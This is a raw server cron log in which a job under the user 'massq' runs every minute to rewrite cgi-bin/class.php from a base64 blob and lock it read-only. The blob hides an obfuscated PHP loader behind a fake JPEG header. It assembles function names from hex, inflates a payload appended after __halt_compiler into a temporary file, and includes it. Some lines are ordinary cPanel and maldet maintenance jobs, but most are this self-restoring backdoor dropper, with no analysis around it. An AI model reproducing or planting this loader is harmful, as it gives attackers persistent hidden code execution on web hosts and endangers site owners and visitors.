Nov 10 18:16:01 server CROND[5585]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:17:01 server CROND[6408]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:18:01 server CROND[7222]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:19:01 server CROND[8030]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:20:01 server CROND[8610]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 18:20:01 server CROND[8611]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 18:20:01 server CROND[8615]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 18:20:01 server CROND[8618]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 18:20:01 server CROND[8620]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:21:01 server CROND[9625]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:22:01 server CROND[10533]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:23:01 server CROND[11385]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:24:01 server CROND[12203]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:25:01 server CROND[13026]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 10 18:25:01 server CROND[13028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 18:25:01 server CROND[13030]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:25:01 server CROND[13029]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 18:26:01 server CROND[13928]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:27:01 server CROND[14830]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:27:01 server CROND[14831]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 18:28:01 server CROND[15662]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
